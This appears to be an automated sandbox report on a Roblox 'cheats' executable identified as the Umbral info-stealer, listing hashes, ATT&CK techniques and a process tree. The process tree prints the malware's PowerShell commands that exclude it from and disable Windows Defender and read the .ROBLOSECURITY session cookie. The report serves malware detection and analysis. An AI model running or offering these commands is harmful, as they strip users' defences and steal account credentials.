umbral | 81046d6d4e474115dd898d8e4718bc2ba144928461baa26e23f26d73d8e3f2f7

Analysis

max time kernel
143s
max time network
145s
platform
windows7_x64
resource
win7-20230621-en
resource tags

arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
submitted
29-06-2023 17:06

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General

Target

RbxCheats.exe
Size

217KB
MD5

84fe5aaf9d71e59205c851af53d6a1c7
SHA1

1b93e136c567dce28cccd900a02b694d9f488d86
SHA256

81046d6d4e474115dd898d8e4718bc2ba144928461baa26e23f26d73d8e3f2f7
SHA512

db3bfcbccd1b6e22754fd40841f2b2f0d229852879ab1c10e214d8185e5c29f8a8d3e318182c80a2887cf77f7e59aa3e95088b2901eb96720afd9e4f7d775a2d
SSDEEP

3072:WlP/chtWkOIGSAvD6vdnsUSaNZZDOAuIXk0IIIIIIEIIIIIIIIIIIlTIIIIIIIII:OcyHIGadsUSsZDO7+8eNHpDS

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1628-54-0x0000000000030000-0x000000000006C000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2028	wmic.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1564	powershell.exe
984	powershell.exe
1356	powershell.exe
860	powershell.exe
1352	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	RbxCheats.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	wmic.exe
Token: SeSecurityPrivilege	436	wmic.exe
Token: SeTakeOwnershipPrivilege	436	wmic.exe
Token: SeLoadDriverPrivilege	436	wmic.exe
Token: SeSystemProfilePrivilege	436	wmic.exe
Token: SeSystemtimePrivilege	436	wmic.exe
Token: SeProfSingleProcessPrivilege	436	wmic.exe
Token: SeIncBasePriorityPrivilege	436	wmic.exe
Token: SeCreatePagefilePrivilege	436	wmic.exe
Token: SeBackupPrivilege	436	wmic.exe
Token: SeRestorePrivilege	436	wmic.exe
Token: SeShutdownPrivilege	436	wmic.exe
Token: SeDebugPrivilege	436	wmic.exe
Token: SeSystemEnvironmentPrivilege	436	wmic.exe
Token: SeRemoteShutdownPrivilege	436	wmic.exe
Token: SeUndockPrivilege	436	wmic.exe
Token: SeManageVolumePrivilege	436	wmic.exe
Token: 33	436	wmic.exe
Token: 34	436	wmic.exe
Token: 35	436	wmic.exe
Token: SeIncreaseQuotaPrivilege	436	wmic.exe
Token: SeSecurityPrivilege	436	wmic.exe
Token: SeTakeOwnershipPrivilege	436	wmic.exe
Token: SeLoadDriverPrivilege	436	wmic.exe
Token: SeSystemProfilePrivilege	436	wmic.exe
Token: SeSystemtimePrivilege	436	wmic.exe
Token: SeProfSingleProcessPrivilege	436	wmic.exe
Token: SeIncBasePriorityPrivilege	436	wmic.exe
Token: SeCreatePagefilePrivilege	436	wmic.exe
Token: SeBackupPrivilege	436	wmic.exe
Token: SeRestorePrivilege	436	wmic.exe
Token: SeShutdownPrivilege	436	wmic.exe
Token: SeDebugPrivilege	436	wmic.exe
Token: SeSystemEnvironmentPrivilege	436	wmic.exe
Token: SeRemoteShutdownPrivilege	436	wmic.exe
Token: SeUndockPrivilege	436	wmic.exe
Token: SeManageVolumePrivilege	436	wmic.exe
Token: 33	436	wmic.exe
Token: 34	436	wmic.exe
Token: 35	436	wmic.exe
Token: SeIncreaseQuotaPrivilege	2004	wmic.exe
Token: SeSecurityPrivilege	2004	wmic.exe
Token: SeTakeOwnershipPrivilege	2004	wmic.exe
Token: SeLoadDriverPrivilege	2004	wmic.exe
Token: SeSystemProfilePrivilege	2004	wmic.exe
Token: SeSystemtimePrivilege	2004	wmic.exe
Token: SeProfSingleProcessPrivilege	2004	wmic.exe
Token: SeIncBasePriorityPrivilege	2004	wmic.exe
Token: SeCreatePagefilePrivilege	2004	wmic.exe
Token: SeBackupPrivilege	2004	wmic.exe
Token: SeRestorePrivilege	2004	wmic.exe
Token: SeShutdownPrivilege	2004	wmic.exe
Token: SeDebugPrivilege	2004	wmic.exe
Token: SeSystemEnvironmentPrivilege	2004	wmic.exe
Token: SeRemoteShutdownPrivilege	2004	wmic.exe
Token: SeUndockPrivilege	2004	wmic.exe
Token: SeManageVolumePrivilege	2004	wmic.exe
Token: 33	2004	wmic.exe
Token: 34	2004	wmic.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 1564	1628	RbxCheats.exe	28
PID 1628 wrote to memory of 1564	1628	RbxCheats.exe	28
PID 1628 wrote to memory of 1564	1628	RbxCheats.exe	28
PID 1628 wrote to memory of 984	1628	RbxCheats.exe	30
PID 1628 wrote to memory of 984	1628	RbxCheats.exe	30
PID 1628 wrote to memory of 984	1628	RbxCheats.exe	30
PID 1628 wrote to memory of 1356	1628	RbxCheats.exe	32
PID 1628 wrote to memory of 1356	1628	RbxCheats.exe	32
PID 1628 wrote to memory of 1356	1628	RbxCheats.exe	32
PID 1628 wrote to memory of 860	1628	RbxCheats.exe	34
PID 1628 wrote to memory of 860	1628	RbxCheats.exe	34
PID 1628 wrote to memory of 860	1628	RbxCheats.exe	34
PID 1628 wrote to memory of 436	1628	RbxCheats.exe	36
PID 1628 wrote to memory of 436	1628	RbxCheats.exe	36
PID 1628 wrote to memory of 436	1628	RbxCheats.exe	36
PID 1628 wrote to memory of 2004	1628	RbxCheats.exe	39
PID 1628 wrote to memory of 2004	1628	RbxCheats.exe	39
PID 1628 wrote to memory of 2004	1628	RbxCheats.exe	39
PID 1628 wrote to memory of 868	1628	RbxCheats.exe	41
PID 1628 wrote to memory of 868	1628	RbxCheats.exe	41
PID 1628 wrote to memory of 868	1628	RbxCheats.exe	41
PID 1628 wrote to memory of 1352	1628	RbxCheats.exe	43
PID 1628 wrote to memory of 1352	1628	RbxCheats.exe	43
PID 1628 wrote to memory of 1352	1628	RbxCheats.exe	43
PID 1628 wrote to memory of 2028	1628	RbxCheats.exe	45
PID 1628 wrote to memory of 2028	1628	RbxCheats.exe	45
PID 1628 wrote to memory of 2028	1628	RbxCheats.exe	45

C:\Users\Admin\AppData\Local\Temp\RbxCheats.exe
"C:\Users\Admin\AppData\Local\Temp\RbxCheats.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RbxCheats.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:860
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1352
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e5ccb9205f9958e4b263c9c367e165df

SHA1
a9b7e3d15ddff60466ed19b7050794362b9b70bf

SHA256
05525b624c432df152a5638ffb85581d39a01396a3626ad2039b6ed3fc67dc6d

SHA512
e090ef9ee4baef020f181fa20be1ee0529334b5f160e16ba73b1b66d034ed8d927a288651151ab8682bb580af177aec1de0fca6ce0ade5b49cc8c6bc7aa54da9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e5ccb9205f9958e4b263c9c367e165df

SHA1
a9b7e3d15ddff60466ed19b7050794362b9b70bf

SHA256
05525b624c432df152a5638ffb85581d39a01396a3626ad2039b6ed3fc67dc6d

SHA512
e090ef9ee4baef020f181fa20be1ee0529334b5f160e16ba73b1b66d034ed8d927a288651151ab8682bb580af177aec1de0fca6ce0ade5b49cc8c6bc7aa54da9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e5ccb9205f9958e4b263c9c367e165df

SHA1
a9b7e3d15ddff60466ed19b7050794362b9b70bf

SHA256
05525b624c432df152a5638ffb85581d39a01396a3626ad2039b6ed3fc67dc6d

SHA512
e090ef9ee4baef020f181fa20be1ee0529334b5f160e16ba73b1b66d034ed8d927a288651151ab8682bb580af177aec1de0fca6ce0ade5b49cc8c6bc7aa54da9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e5ccb9205f9958e4b263c9c367e165df

SHA1
a9b7e3d15ddff60466ed19b7050794362b9b70bf

SHA256
05525b624c432df152a5638ffb85581d39a01396a3626ad2039b6ed3fc67dc6d

SHA512
e090ef9ee4baef020f181fa20be1ee0529334b5f160e16ba73b1b66d034ed8d927a288651151ab8682bb580af177aec1de0fca6ce0ade5b49cc8c6bc7aa54da9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W08NBLEM4CKS4SZYK1X9.temp

Filesize
7KB

MD5
e5ccb9205f9958e4b263c9c367e165df

SHA1
a9b7e3d15ddff60466ed19b7050794362b9b70bf

SHA256
05525b624c432df152a5638ffb85581d39a01396a3626ad2039b6ed3fc67dc6d

SHA512
e090ef9ee4baef020f181fa20be1ee0529334b5f160e16ba73b1b66d034ed8d927a288651151ab8682bb580af177aec1de0fca6ce0ade5b49cc8c6bc7aa54da9

Download Submit
memory/860-96-0x000000000254B000-0x0000000002582000-memory.dmp

Filesize
220KB

Download
memory/860-95-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/860-94-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/984-73-0x00000000026CB000-0x0000000002702000-memory.dmp

Filesize
220KB

Download
memory/984-71-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/984-70-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/984-72-0x00000000026C4000-0x00000000026C7000-memory.dmp

Filesize
12KB

Download
memory/1352-106-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/1352-108-0x00000000024AB000-0x00000000024E2000-memory.dmp

Filesize
220KB

Download
memory/1352-107-0x00000000024A4000-0x00000000024A7000-memory.dmp

Filesize
12KB

Download
memory/1356-87-0x00000000026F4000-0x00000000026F7000-memory.dmp

Filesize
12KB

Download
memory/1356-88-0x00000000026FB000-0x0000000002732000-memory.dmp

Filesize
220KB

Download
memory/1564-64-0x00000000025BB000-0x00000000025F2000-memory.dmp

Filesize
220KB

Download
memory/1564-61-0x000000001B260000-0x000000001B542000-memory.dmp

Filesize
2.9MB

Download
memory/1564-62-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1564-63-0x00000000025B4000-0x00000000025B7000-memory.dmp

Filesize
12KB

Download
memory/1628-56-0x000000001AF70000-0x000000001AFF0000-memory.dmp

Filesize
512KB

Download
memory/1628-55-0x000000001AF70000-0x000000001AFF0000-memory.dmp

Filesize
512KB

Download
memory/1628-54-0x0000000000030000-0x000000000006C000-memory.dmp

Filesize
240KB

Download